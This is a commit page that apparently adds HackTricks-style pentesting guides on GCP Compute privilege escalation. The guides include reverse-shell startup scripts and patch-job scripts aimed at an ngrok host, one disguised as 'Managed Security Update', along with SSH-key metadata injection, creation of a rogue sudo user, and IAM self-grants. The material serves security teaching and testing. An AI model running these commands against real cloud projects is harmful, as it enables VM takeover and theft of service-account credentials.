Skip to content

Commit b6af849

Browse files
JaimePolopJaimePolop
committed
fix
1 parent 862cfc7 commit b6af849

3 files changed

Lines changed: 251 additions & 3 deletions

File tree

‎src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md‎

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
# GCP - Compute Privesc
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Compute
6+
7+
For more information about Compute and VPC (netowork) in GCP check:
8+
9+
{{#ref}}
10+
../../gcp-services/gcp-compute-instances-enum/
11+
{{#endref}}
12+
13+
> [!CAUTION]
14+
> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
15+
16+
### `compute.projects.setCommonInstanceMetadata`
17+
18+
With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
19+
Limitations:
20+
21+
- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
22+
- You will need to be **able to contact the SSH** server to login
23+
24+
For more information about how to exploit this permission check:
25+
26+
{{#ref}}
27+
gcp-add-custom-ssh-metadata.md
28+
{{#endref}}
29+
30+
You could aslo perform this attack by adding new startup-script and rebooting the instance:
31+
32+
```bash
33+
gcloud compute instances add-metadata my-vm-instance \
34+
--metadata startup-script='#!/bin/bash
35+
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
36+
37+
gcloud compute instances reset my-vm-instance
38+
```
39+
40+
### `compute.instances.setMetadata`
41+
42+
This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
43+
44+
### `compute.instances.setIamPolicy`
45+
46+
This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account:
47+
48+
```bash
49+
export SERVER_SERVICE_ACCOUNT=YOUR_SA
50+
export INSTANCE=YOUR_INSTANCE
51+
export ZONE=YOUR_INSTANCE_ZONE
52+
53+
cat <<EOF > policy.json
54+
bindings:
55+
- members:
56+
- serviceAccount:$SERVER_SERVICE_ACCOUNT
57+
role: roles/compute.admin
58+
version: 1
59+
EOF
60+
61+
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
62+
```
63+
64+
### **`compute.instances.osLogin`**
65+
66+
If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
67+
68+
> [!TIP]
69+
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
70+
71+
### **`compute.instances.osAdminLogin`**
72+
73+
If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
74+
75+
> [!TIP]
76+
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
77+
78+
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
79+
80+
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
81+
82+
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
83+
84+
### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
85+
86+
If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
87+
88+
Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
89+
90+
If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
91+
For a patch job run:
92+
93+
```python
94+
cat > /tmp/patch-job.sh <<EOF
95+
#!/bin/bash
96+
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
97+
EOF
98+
99+
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
100+
101+
# Get the generation number
102+
gsutil ls -a gs://readable-bucket-by-sa-in-instance
103+
104+
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
105+
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
106+
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
107+
--reboot-config=never \
108+
--display-name="Managed Security Update" \
109+
--duration=300s
110+
```
111+
112+
To deploy a patch deployment:
113+
114+
```bash
115+
gcloud compute os-config patch-deployments create <name> ...
116+
```
117+
118+
The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
119+
120+
**An attacker could also abuse this for persistence.**
121+
122+
### `compute.machineImages.setIamPolicy`
123+
124+
**Grant yourself extra permissions** to compute Image.
125+
126+
### `compute.snapshots.setIamPolicy`
127+
128+
**Grant yourself extra permissions** to a disk snapshot.
129+
130+
### `compute.disks.setIamPolicy`
131+
132+
**Grant yourself extra permissions** to a disk.
133+
134+
### Bypass Access Scopes
135+
136+
Following this link you find some [**ideas to try to bypass access scopes**](../index.html).
137+
138+
### Local Privilege Escalation in GCP Compute instance
139+
140+
{{#ref}}
141+
../gcp-local-privilege-escalation-ssh-pivoting.md
142+
{{#endref}}
143+
144+
## References
145+
146+
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
147+
148+
{{#include ../../../../banners/hacktricks-training.md}}
149+
150+
151+

‎src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md‎

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
# GCP - Add Custom SSH Metadata
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
6+
7+
Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
8+
9+
### **Incorporation of SSH Keys into Custom Metadata**
10+
11+
On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
12+
13+
Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
14+
15+
### **Add SSH key to existing privileged user**
16+
17+
1. **Examine Existing SSH Keys on the Instance:**
18+
19+
- Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
20+
21+
```bash
22+
gcloud compute instances describe [INSTANCE] --zone [ZONE]
23+
```
24+
25+
- Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
26+
27+
2. **Prepare a Text File for SSH Key Metadata:**
28+
- Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
29+
3. **Generate a New SSH Key for the Target User (`alice` in this example):**
30+
31+
- Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
32+
33+
```bash
34+
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
35+
```
36+
37+
- Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
38+
39+
4. **Update the Instance's SSH Key Metadata:**
40+
41+
- Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
42+
43+
```bash
44+
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
45+
```
46+
47+
5. **Access the Instance Using the New SSH Key:**
48+
49+
- Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
50+
51+
```bash
52+
ssh -i ./key alice@localhost
53+
sudo id
54+
```
55+
56+
### **Create a new privileged user and add a SSH key**
57+
58+
If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
59+
60+
```bash
61+
# define the new account username
62+
NEWUSER="definitelynotahacker"
63+
64+
# create a key
65+
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
66+
67+
# create the input meta file
68+
NEWKEY="$(cat ./key.pub)"
69+
echo "$NEWUSER:$NEWKEY" > ./meta.txt
70+
71+
# update the instance metadata
72+
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
73+
74+
# ssh to the new account
75+
ssh -i ./key "$NEWUSER"@localhost
76+
```
77+
78+
### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
79+
80+
It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
81+
82+
1. **Apply SSH Keys at the Project Level:**
83+
84+
- Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
85+
86+
```bash
87+
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
88+
```
89+
90+
2. **SSH into Instances Using Project-Wide Keys:**
91+
- With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
92+
- A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
93+
94+
## References
95+
96+
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
97+
98+
{{#include ../../../../banners/hacktricks-training.md}}
99+
100+

‎src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md‎

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -464,9 +464,6 @@ The attacker gains access to the Firebase CLI credentials file. They can then co
464464
```bash
465465
firebase projects:list
466466
```
467-
## References
468-
469-
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
470467
471468
{{#include ../../../banners/hacktricks-training.md}}
472469

0 commit comments

Comments
 (0)